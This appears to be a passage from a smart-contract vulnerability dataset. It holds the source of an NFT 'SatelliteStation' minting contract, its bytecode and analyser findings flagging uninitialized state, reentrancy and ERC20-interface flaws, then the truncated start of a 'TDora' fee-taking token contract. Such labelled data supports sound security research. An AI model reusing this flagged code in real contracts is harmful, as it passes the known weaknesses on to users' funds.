(uint256); // Administration function setYieldRate(address address_, uint256 yieldRate_) external; function addYieldRate(address address_, uint256 yieldRateAdd_) external; function subYieldRate(address address_, uint256 yieldRateSub_) external; // Updating function updateReward(address address_) external; // Credits System function deductCredits(address address_, uint256 amount_) external; function addCredits(address address_, uint256 amount_) external; // Burn function burn(address from, uint256 amount_) external; } // Open0x Ownable (by 0xInuarashi) abstract contract Ownable { address public owner; event OwnershipTransferred(address indexed oldOwner_, address indexed newOwner_); constructor() { owner = msg.sender; } modifier onlyOwner { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function _transferOwnership(address newOwner_) internal virtual { address _oldOwner = owner; owner = newOwner_; emit OwnershipTransferred(_oldOwner, newOwner_); } function transferOwnership(address newOwner_) public virtual onlyOwner { require(newOwner_ != address(0x0), "Ownable: new owner is the zero address!"); _transferOwnership(newOwner_); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0x0)); } } contract SatelliteStation is Ownable { /* MTM Sattelite Station An open interface with NFT projects to be able to mint from contracts through the satelliteMint function. Natively supports $MES and can be adapted to support other ERC20 tokens in the future as well. */ // Initialize MES contract address public MESAddress = 0x984b6968132DA160122ddfddcc4461C995741513; iMES public MES = iMES(0x984b6968132DA160122ddfddcc4461C995741513); // Contract Variables address internal burnAddress = 0x000000000000000000000000000000000000dEaD; uint256 internal globalModulus = 10 ** 14; // Structs struct SatelliteSettings { address tokenAddress_; uint40 tokensPerMint_; uint16 amountForMint_; uint16 amountPerAddress_; uint16 amountMinted_; } struct TransferForMintSettings { address tokenAddress_; uint40 tokensPerMint_; uint16 amountForMint_; uint16 amountPerAddress_; uint16 amountMinted_; address receiverAddress_; } struct BurnWLSettings { address tokenAddress_; uint40 tokensPerWL_; uint16 amountForWL_; uint16 amountAllocated_; } // Mappings (Satellite Mint) mapping(address => SatelliteSettings) public contractToSatelliteSettings; mapping(address => mapping(address => uint16)) public addressToSatelliteMinted; // Mappings (Transfer For Mint) mapping(address => TransferForMintSettings) public contractToTransferForMintSettings; mapping(address => mapping(address => uint16)) public addressToTransferForMintAmount; // Mappings (Satellite Burn for WL) mapping(string => BurnWLSettings) public projectToBurnWLSettings; mapping(string => mapping(address => bool)) public projectToWL; // Events event SatelliteMint(address minter_, address indexed contractAddress_, address tokenAddress_, uint256 tokensPerMint_, uint256 amount_, uint256 tokensDeducted_, bool useCredits_); event SatelliteTransferForMint(address minter_, address indexed contractAddress_, address tokenAddress_, uint256 tokensPerMint_, uint16 amountMinted_, address receiverAddress_); event SatelliteBurnForWL(address burner_, string indexed projectName_, uint256 amount_); function addSatelliteSetting(address contractAddress_, address tokenAddress_, uint40 tokensPerMint_, uint16 amountForMint_, uint16 amountPerAddress_) external onlyOwner { SatelliteSettings memory _SatelliteSettings = SatelliteSettings( tokenAddress_, tokensPerMint_, amountForMint_, amountPerAddress_, 0 ); contractToSatelliteSettings[contractAddress_] = _SatelliteSettings; } function addTransferForMintSetting(address contractAddress_, address tokenAddress_, uint40 tokensPerMint_, uint16 amountForMint_, uint16 amountPerAddress_, address receiverAddress_) external onlyOwner { TransferForMintSettings memory _TransferForMintSettings = TransferForMintSettings( tokenAddress_, tokensPerMint_, amountForMint_, amountPerAddress_, 0, receiverAddress_ ); contractToTransferForMintSettings[contractAddress_] = _TransferForMintSettings; } function addBurnWLSetting(string memory projectName_, address tokenAddress_, uint40 tokensPerWL_, uint16 amountForWL_) external onlyOwner { BurnWLSettings memory _BurnWLSettings = BurnWLSettings( tokenAddress_, tokensPerWL_, amountForWL_, 0 ); projectToBurnWLSettings[projectName_] = _BurnWLSettings; } // Satellite Minting System function satelliteMint(address contractAddress_, address tokenAddress_, uint256 amount_, bool useCredits_) external { SatelliteSettings memory _SatelliteSettings = contractToSatelliteSettings[contractAddress_]; address _SSTokenAddress = iSatelliteReceiver(contractAddress_).SSTokenAddress(); address _SSTokenReceiver = iSatelliteReceiver(contractAddress_).SSTokenReceiver(); uint256 _SSTokensPerMint = iSatelliteReceiver(contractAddress_).SSTokensPerMint(); uint256 _tokensToDeduct = _SSTokensPerMint * amount_; require(_SatelliteSettings.tokenAddress_ != address(0x0), "satelliteMint: This contract is not in the Satellite Station program!"); require(_SSTokenAddress == tokenAddress_, "satelliteMint: Token Address to Receiver mismatch!"); require(_SatelliteSettings.amountForMint_ >= _SatelliteSettings.amountMinted_ + amount_, "satelliteMint: Amount requested to mint exceeds set remaining!"); require(_SatelliteSettings.amountPerAddress_ >= addressToSatelliteMinted[contractAddress_][msg.sender] + amount_, "satelliteMint: Amount for mint exceeds limit per address!"); require(_SSTokensPerMint == (uint256(_SatelliteSettings.tokensPerMint_) * globalModulus), "satelliteMint: Token cost per mint mismatch with receiver!"); // $MES Credit System and ERC20 Transfer if (tokenAddress_ == MESAddress && useCredits_) { // Update Reward First Flow require(_tokensToDeduct <= MES.getTotalClaimableTokens(msg.sender), "Not enough MES Credits to do action!"); if (_tokensToDeduct >= MES.getStorageClaimableTokens(msg.sender)) { MES.updateReward(msg.sender); } // Credit Balance Flow MES.deductCredits(msg.sender, _tokensToDeduct); MES.addCredits(_SSTokenReceiver, _tokensToDeduct); } else { require(_tokensToDeduct <= IERC20(tokenAddress_).balanceOf(msg.sender), "Not enough ERC20 to do action!"); IERC20(tokenAddress_).transferFrom(msg.sender, _SSTokenReceiver, _tokensToDeduct); } addressToSatelliteMinted[contractAddress_][msg.sender] += uint16(amount_); contractToSatelliteSettings[contractAddress_].amountMinted_ += uint16(amount_); // The satelliteMint function is called after all the necessary checks. iSatelliteReceiver(contractAddress_).satelliteMint(amount_); emit SatelliteMint(msg.sender, contractAddress_, _SSTokenAddress, _SSTokensPerMint, amount_, _tokensToDeduct, useCredits_); } // Satellite Transfer for Mint System function satelliteTransferForMint(address contractAddress_, uint256 amount_, bool useCredits_) external { TransferForMintSettings memory _TransferForMintSettings = contractToTransferForMintSettings[contractAddress_]; address _tokenAddress = _TransferForMintSettings.tokenAddress_; uint256 _tokensToDeduct = (uint256(_TransferForMintSettings.tokensPerMint_) * globalModulus) * amount_; address _receiverAddress = _TransferForMintSettings.receiverAddress_; require(_TransferForMintSettings.tokenAddress_ != address(0x0), "satelliteTransferForMint: This contract is not in the Satellite Station program!"); require(_TransferForMintSettings.amountForMint_ >= _TransferForMintSettings.amountMinted_ + amount_, "satelliteTransferForMint: No more mints available!"); require(_TransferForMintSettings.amountPerAddress_ >= addressToTransferForMintAmount[contractAddress_][msg.sender] + amount_, "satelliteTransferForMint: Amount exceeds allowed mints per address!"); // $MES Credit System and ERC20 Transfer if (_TransferForMintSettings.tokenAddress_ == MESAddress && useCredits_) { // Update Reward First Flow require(_tokensToDeduct <= MES.getTotalClaimableTokens(msg.sender), "Not enough MES Credits to do action!"); if (_tokensToDeduct >= MES.getStorageClaimableTokens(msg.sender)) { MES.updateReward(msg.sender); } // Credit Balance Flow MES.deductCredits(msg.sender, _tokensToDeduct); MES.addCredits(_receiverAddress, _tokensToDeduct); } else { require(_tokensToDeduct <= IERC20(_tokenAddress).balanceOf(msg.sender), "Not enough ERC20 to do action!"); IERC20(_tokenAddress).transferFrom(msg.sender, _receiverAddress, _tokensToDeduct); } addressToTransferForMintAmount[contractAddress_][msg.sender] += uint16(amount_); contractToTransferForMintSettings[contractAddress_].amountMinted_ += uint16(amount_); emit SatelliteTransferForMint(msg.sender, contractAddress_, _tokenAddress, _tokensToDeduct, contractToTransferForMintSettings[contractAddress_].amountMinted_, _receiverAddress); } // Satellite Burn for Whitelist System function satelliteBurnForWL(string memory projectName_, bool useCredits_) external { require(!projectToWL[projectName_][msg.sender], "satelliteBurnForWL: You are already whitelisted!"); BurnWLSettings memory _BurnWLSettings = projectToBurnWLSettings[projectName_]; address _tokenAddress = _BurnWLSettings.tokenAddress_; uint256 _tokensToDeduct = uint256(_BurnWLSettings.tokensPerWL_) * globalModulus; // $MES Credit System if (_tokenAddress == MESAddress && useCredits_) { // Update Reward First Flow require(_tokensToDeduct <= MES.getTotalClaimableTokens(msg.sender), "Not enough MES Credits to do action!"); if (_tokensToDeduct >= MES.getStorageClaimableTokens(msg.sender)) { MES.updateReward(msg.sender); } // Deduct Credits Flow MES.deductCredits(msg.sender, _tokensToDeduct); } else { require(_tokensToDeduct <= IERC20(_tokenAddress).balanceOf(msg.sender), "Not enough ERC20 to do action!"); IERC20(_tokenAddress).transferFrom(msg.sender, burnAddress, _tokensToDeduct); } // add them to the WL! projectToWL[projectName_][msg.sender] = true; emit SatelliteBurnForWL(msg.sender, projectName_, _tokensToDeduct); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806384624709116100a2578063b8750c2311610071578063b8750c2314610398578063d3c05acf146103ab578063e2d979341461045a578063f2fde38b1461046d578063f9526ee21461048057600080fd5b8063846247091461022657806384f6625d146102c15780638da5cb5b14610356578063b268e8881461036957600080fd5b8063314451fb116100de578063314451fb146101925780633377f561146101a557806361b497f0146101d0578063715018a61461021e57600080fd5b80630f47c996146101105780631759b55414610125578063248189501461016c5780632d8a7c421461017f575b600080fd5b61012361011e366004612194565b610493565b005b610154610133366004611efd565b600660209081526000928352604080842090915290825290205461ffff1681565b60405161ffff90911681526020015b60405180910390f35b61012361017a36600461206c565b610946565b61012361018d366004611ff0565b61104e565b6101236101a036600461212e565b611166565b6001546101b8906001600160a01b031681565b6040516001600160a01b039091168152602001610163565b61020e6101de3660046120e7565b8151602081840181018051600a825292820194820194909420919093529091526000908152604090205460ff1681565b6040519015158152602001610163565b61012361125f565b610280610234366004611ebc565b6005602052600090815260409020546001600160a01b0381169064ffffffffff600160a01b8204169061ffff600160c81b8204811691600160d81b8104821691600160e81b9091041685565b604080516001600160a01b03909616865264ffffffffff909416602086015261ffff928316938501939093528116606084015216608082015260a001610163565b61031c6102cf3660046120aa565b8051808201602090810180516009825292820191909301209152546001600160a01b0381169064ffffffffff600160a01b8204169061ffff600160c81b8204811691600160d81b90041684565b604080516001600160a01b03909516855264ffffffffff909316602085015261ffff91821692840192909252166060820152608001610163565b6000546101b8906001600160a01b031681565b610154610377366004611efd565b600860209081526000928352604080842090915290825290205461ffff1681565b6101236103a6366004611f36565b611295565b6104106103b9366004611ebc565b600760205260009081526040902080546001909101546001600160a01b038083169264ffffffffff600160a01b8204169261ffff600160c81b8304811693600160d81b8404821693600160e81b9004909116911686565b604080516001600160a01b03978816815264ffffffffff96909616602087015261ffff948516908601529183166060850152909116608083015290911660a082015260c001610163565b6002546101b8906001600160a01b031681565b61012361047b366004611ebc565b611c12565b61012361048e366004611f87565b611cae565b600a826040516104a391906121fb565b9081526040805160209281900383019020336000908152925290205460ff161561052d5760405162461bcd60e51b815260206004820152603060248201527f736174656c6c6974654275726e466f72574c3a20596f752061726520616c726560448201526f6164792077686974656c69737465642160801b60648201526084015b60405180910390fd5b600060098360405161053f91906121fb565b9081526040805160209281900383018120608082018352546001600160a01b038116808352600160a01b820464ffffffffff16948301859052600160c81b820461ffff90811694840194909452600160d81b909104909216606082015260045490935090916000916105b091612324565b6001549091506001600160a01b0383811691161480156105cd5750835b156107b4576002546040516351f8521d60e11b81523360048201526001600160a01b039091169063a3f0a43a9060240160206040518083038186803b15801561061557600080fd5b505afa158015610629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064d91906121e2565b81111561066c5760405162461bcd60e51b815260040161052490612236565b60025460405163649d35fd60e01b81523360048201526001600160a01b039091169063649d35fd9060240160206040518083038186803b1580156106af57600080fd5b505afa1580156106c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e791906121e2565b811061074b5760025460405163632447c960e01b81523360048201526001600160a01b039091169063632447c990602401600060405180830381600087803b15801561073257600080fd5b505af1158015610746573d6000803e3d6000fd5b505050505b6002546040516382596f0160e01b8152336004820152602481018390526001600160a01b03909116906382596f0190604401600060405180830381600087803b15801561079757600080fd5b505af11580156107ab573d6000803e3d6000fd5b505050506108b7565b6040516370a0823160e01b81523360048201526001600160a01b038316906370a082319060240160206040518083038186803b1580156107f357600080fd5b505afa158015610807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082b91906121e2565b81111561084a5760405162461bcd60e51b8152600401610524906122af565b6003546040516323b872dd60e01b81523360048201526001600160a01b03918216602482015260448101839052908316906323b872dd90606401600060405180830381600087803b15801561089e57600080fd5b505af11580156108b2573d6000803e3d6000fd5b505050505b6001600a866040516108c991906121fb565b908152604080516020928190038301812033600090815293529120805460ff1916921515929092179091556108ff9086906121fb565b6040805191829003822033835260208301849052917f5bca2ac1130f3a2dacccd059704e428cab4160a9a7565c8161cd2a72807fddb9910160405180910390a25050505050565b6001600160a01b038084166000908152600760209081526040808320815160c081018352815480871680835264ffffffffff600160a01b83041695830186905261ffff600160c81b8304811695840195909552600160d81b820485166060840152600160e81b909104909316608082015260019091015490941660a085015260045490929186916109d691612324565b6109e09190612324565b60a08401518451919250906001600160a01b0316610a7f5760405162461bcd60e51b815260206004820152605060248201527f736174656c6c6974655472616e73666572466f724d696e743a2054686973206360448201527f6f6e7472616374206973206e6f7420696e2074686520536174656c6c6974652060648201526f53746174696f6e2070726f6772616d2160801b608482015260a401610524565b85846080015161ffff16610a93919061230c565b846040015161ffff161015610b055760405162461bcd60e51b815260206004820152603260248201527f736174656c6c6974655472616e73666572466f724d696e743a204e6f206d6f7260448201527165206d696e747320617661696c61626c652160701b6064820152608401610524565b6001600160a01b0387166000908152600860209081526040808320338452909152902054610b3890879061ffff1661230c565b846060015161ffff161015610bc15760405162461bcd60e51b815260206004820152604360248201527f736174656c6c6974655472616e73666572466f724d696e743a20416d6f756e7460448201527f206578636565647320616c6c6f776564206d696e74732070657220616464726560648201526273732160e81b608482015260a401610524565b60015484516001600160a01b039081169116148015610bdd5750845b15610e2a576002546040516351f8521d60e11b81523360048201526001600160a01b039091169063a3f0a43a9060240160206040518083038186803b158015610c2557600080fd5b505afa158015610c39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5d91906121e2565b821115610c7c5760405162461bcd60e51b815260040161052490612236565b60025460405163649d35fd60e01b81523360048201526001600160a01b039091169063649d35fd9060240160206040518083038186803b158015610cbf57600080fd5b505afa158015610cd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf791906121e2565b8210610d5b5760025460405163632447c960e01b81523360048201526001600160a01b039091169063632447c990602401600060405180830381600087803b158015610d4257600080fd5b505af1158015610d56573d6000803e3d6000fd5b505050505b6002546040516382596f0160e01b8152336004820152602481018490526001600160a01b03909116906382596f0190604401600060405180830381600087803b158015610da757600080fd5b505af1158015610dbb573d6000803e3d6000fd5b505060025460405163871ff40560e01b81526001600160a01b03858116600483015260248201879052909116925063871ff4059150604401600060405180830381600087803b158015610e0d57600080fd5b505af1158015610e21573d6000803e3d6000fd5b50505050610f29565b6040516370a0823160e01b81523360048201526001600160a01b038416906370a082319060240160206040518083038186803b158015610e6957600080fd5b505afa158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea191906121e2565b821115610ec05760405162461bcd60e51b8152600401610524906122af565b6040516323b872dd60e01b81523360048201526001600160a01b038281166024830152604482018490528416906323b872dd90606401600060405180830381600087803b158015610f1057600080fd5b505af1158015610f24573d6000803e3d6000fd5b505050505b6001600160a01b038716600090815260086020908152604080832033845290915281208054889290610f6090849061ffff166122e6565b82546101009290920a61ffff8181021990931691831602179091556001600160a01b038916600090815260076020526040902080548993509091601d91610fb0918591600160e81b9004166122e6565b82546101009290920a61ffff8181021990931691831602179091556001600160a01b038981166000818152600760209081526040918290205482513381528a861692810192909252918101889052600160e81b9091049093166060840152908416608083015291507f93ccb40b578fc2f121591b5b16cb5a1edb911dd1feeb81bdb0fb6fd60789833a9060a00160405180910390a250505050505050565b6000546001600160a01b031633146110785760405162461bcd60e51b81526004016105249061227a565b6040805160c0810182526001600160a01b03968716815264ffffffffff958616602080830191825261ffff96871683850190815295871660608401908152600060808501818152968b1660a086019081529b8b16815260079092529390209151825491519551935194519089166001600160c81b031990921691909117600160a01b95909716949094029590951763ffffffff60c81b1916600160c81b9185169190910261ffff60d81b191617600160d81b918416919091021761ffff60e81b1916600160e81b91909216021781559151600190920180546001600160a01b03191692909116919091179055565b6000546001600160a01b031633146111905760405162461bcd60e51b81526004016105249061227a565b604080516080810182526001600160a01b038516815264ffffffffff8416602082015261ffff83168183015260006060820152905181906009906111d59088906121fb565b90815260408051602092819003830190208351815493850151928501516060909501516001600160a01b039091166001600160c81b031990941693909317600160a01b64ffffffffff909316929092029190911763ffffffff60c81b1916600160c81b61ffff9485160261ffff60d81b191617600160d81b93909216929092021790555050505050565b6000546001600160a01b031633146112895760405162461bcd60e51b81526004016105249061227a565b6112936000611da3565b565b6001600160a01b038085166000818152600560209081526040808320815160a0810183529054958616815264ffffffffff600160a01b8704168184015261ffff600160c81b8704811682840152600160d81b870481166060830152600160e81b9096049095166080860152805163acdb4d9f60e01b8152905192939263acdb4d9f92600480840193919291829003018186803b15801561133457600080fd5b505afa158015611348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136c9190611ee0565b90506000866001600160a01b0316637ece7fa66040518163ffffffff1660e01b815260040160206040518083038186803b1580156113a957600080fd5b505afa1580156113bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e19190611ee0565b90506000876001600160a01b031663a26b1ab16040518163ffffffff1660e01b815260040160206040518083038186803b15801561141e57600080fd5b505afa158015611432573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145691906121e2565b905060006114648783612324565b85519091506001600160a01b03166114f25760405162461bcd60e51b815260206004820152604560248201527f736174656c6c6974654d696e743a205468697320636f6e74726163742069732060448201527f6e6f7420696e2074686520536174656c6c6974652053746174696f6e2070726f6064820152646772616d2160d81b608482015260a401610524565b876001600160a01b0316846001600160a01b03161461156e5760405162461bcd60e51b815260206004820152603260248201527f736174656c6c6974654d696e743a20546f6b656e204164647265737320746f206044820152715265636569766572206d69736d617463682160701b6064820152608401610524565b86856080015161ffff16611582919061230c565b856040015161ffff1610156115ff5760405162461bcd60e51b815260206004820152603e60248201527f736174656c6c6974654d696e743a20416d6f756e74207265717565737465642060448201527f746f206d696e742065786365656473207365742072656d61696e696e672100006064820152608401610524565b6001600160a01b038916600090815260066020908152604080832033845290915290205461163290889061ffff1661230c565b856060015161ffff1610156116af5760405162461bcd60e51b815260206004820152603960248201527f736174656c6c6974654d696e743a20416d6f756e7420666f72206d696e74206560448201527f786365656473206c696d697420706572206164647265737321000000000000006064820152608401610524565b600454856020015164ffffffffff166116c89190612324565b821461173c5760405162461bcd60e51b815260206004820152603a60248201527f736174656c6c6974654d696e743a20546f6b656e20636f737420706572206d6960448201527f6e74206d69736d617463682077697468207265636569766572210000000000006064820152608401610524565b6001546001600160a01b0389811691161480156117565750855b156119a3576002546040516351f8521d60e11b81523360048201526001600160a01b039091169063a3f0a43a9060240160206040518083038186803b15801561179e57600080fd5b505afa1580156117b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d691906121e2565b8111156117f55760405162461bcd60e51b815260040161052490612236565b60025460405163649d35fd60e01b81523360048201526001600160a01b039091169063649d35fd9060240160206040518083038186803b15801561183857600080fd5b505afa15801561184c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187091906121e2565b81106118d45760025460405163632447c960e01b81523360048201526001600160a01b039091169063632447c990602401600060405180830381600087803b1580156118bb57600080fd5b505af11580156118cf573d6000803e3d6000fd5b505050505b6002546040516382596f0160e01b8152336004820152602481018390526001600160a01b03909116906382596f0190604401600060405180830381600087803b15801561192057600080fd5b505af1158015611934573d6000803e3d6000fd5b505060025460405163871ff40560e01b81526001600160a01b03878116600483015260248201869052909116925063871ff4059150604401600060405180830381600087803b15801561198657600080fd5b505af115801561199a573d6000803e3d6000fd5b50505050611aa2565b6040516370a0823160e01b81523360048201526001600160a01b038916906370a082319060240160206040518083038186803b1580156119e257600080fd5b505afa1580156119f6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1a91906121e2565b811115611a395760405162461bcd60e51b8152600401610524906122af565b6040516323b872dd60e01b81523360048201526001600160a01b038481166024830152604482018390528916906323b872dd90606401600060405180830381600087803b158015611a8957600080fd5b505af1158015611a9d573d6000803e3d6000fd5b505050505b6001600160a01b038916600090815260066020908152604080832033845290915281208054899290611ad990849061ffff166122e6565b82546101009290920a61ffff8181021990931691831602179091556001600160a01b038b16600090815260056020526040902080548a93509091601d91611b29918591600160e81b9004166122e6565b92506101000a81548161ffff021916908361ffff160217905550886001600160a01b0316639514857d886040518263ffffffff1660e01b8152600401611b7191815260200190565b600060405180830381600087803b158015611b8b57600080fd5b505af1158015611b9f573d6000803e3d6000fd5b5050604080513381526001600160a01b038881166020830152918101869052606081018b90526080810185905289151560a0820152908c1692507fad12697697ddf780dba1d4456022a4c5c1b97b7deab248cba368f831a79f08c6915060c00160405180910390a2505050505050505050565b6000546001600160a01b03163314611c3c5760405162461bcd60e51b81526004016105249061227a565b6001600160a01b038116611ca25760405162461bcd60e51b815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616044820152666464726573732160c81b6064820152608401610524565b611cab81611da3565b50565b6000546001600160a01b03163314611cd85760405162461bcd60e51b81526004016105249061227a565b6040805160a0810182526001600160a01b03958616815264ffffffffff948516602080830191825261ffff958616838501908152948616606084019081526000608085018181529a8a16815260059092529390209151825491519451935198518616600160e81b0261ffff60e81b19998716600160d81b0261ffff60d81b1995909716600160c81b029490941663ffffffff60c81b1995909716600160a01b026001600160c81b03199092169716969096179590951791909116929092171792909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80358015158114611e0357600080fd5b919050565b600082601f830112611e1957600080fd5b813567ffffffffffffffff80821115611e3457611e34612359565b604051601f8301601f19908116603f01168101908282118183101715611e5c57611e5c612359565b81604052838152866020858801011115611e7557600080fd5b836020870160208301376000602085830101528094505050505092915050565b803561ffff81168114611e0357600080fd5b803564ffffffffff81168114611e0357600080fd5b600060208284031215611ece57600080fd5b8135611ed98161236f565b9392505050565b600060208284031215611ef257600080fd5b8151611ed98161236f565b60008060408385031215611f1057600080fd5b8235611f1b8161236f565b91506020830135611f2b8161236f565b809150509250929050565b60008060008060808587031215611f4c57600080fd5b8435611f578161236f565b93506020850135611f678161236f565b925060408501359150611f7c60608601611df3565b905092959194509250565b600080600080600060a08688031215611f9f57600080fd5b8535611faa8161236f565b94506020860135611fba8161236f565b9350611fc860408701611ea7565b9250611fd660608701611e95565b9150611fe460808701611e95565b90509295509295909350565b60008060008060008060c0878903121561200957600080fd5b86356120148161236f565b955060208701356120248161236f565b945061203260408801611ea7565b935061204060608801611e95565b925061204e60808801611e95565b915060a087013561205e8161236f565b809150509295509295509295565b60008060006060848603121561208157600080fd5b833561208c8161236f565b9250602084013591506120a160408501611df3565b90509250925092565b6000602082840312156120bc57600080fd5b813567ffffffffffffffff8111156120d357600080fd5b6120df84828501611e08565b949350505050565b600080604083850312156120fa57600080fd5b823567ffffffffffffffff81111561211157600080fd5b61211d85828601611e08565b9250506020830135611f2b8161236f565b6000806000806080858703121561214457600080fd5b843567ffffffffffffffff81111561215b57600080fd5b61216787828801611e08565b94505060208501356121788161236f565b925061218660408601611ea7565b9150611f7c60608601611e95565b600080604083850312156121a757600080fd5b823567ffffffffffffffff8111156121be57600080fd5b6121ca85828601611e08565b9250506121d960208401611df3565b90509250929050565b6000602082840312156121f457600080fd5b5051919050565b6000825160005b8181101561221c5760208186018101518583015201612202565b8181111561222b576000828501525b509190910192915050565b60208082526024908201527f4e6f7420656e6f756768204d4553204372656469747320746f20646f20616374604082015263696f6e2160e01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601e908201527f4e6f7420656e6f75676820455243323020746f20646f20616374696f6e210000604082015260600190565b600061ffff80831681851680830382111561230357612303612343565b01949350505050565b6000821982111561231f5761231f612343565b500190565b600081600019048311821515161561233e5761233e612343565b500290565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611cab57600080fdfea2646970667358221220a8536ff0e5d985a9d0110f8ea236a793ed92dcea00519fc95cd037000595aa3564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
4,857
0xdc91fd47547ee06a7e7601a9b94db5b84120b115
pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _dev; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TDora is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; struct Taxes { uint256 buyFee1; uint256 buyFee2; uint256 sellFee1; uint256 sellFee2; } Taxes private _taxes = Taxes(0,3,0,3); uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2; uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2; address payable private _feeAddrWallet; uint256 private _feeRate = 15; string private constant _name = "TDora"; string private constant _symbol = "TDORA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private _isBuy = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xC0Bd56866aBbf57AA49181353373F9ECAD2B8fDC); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); _isBuy = true; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && 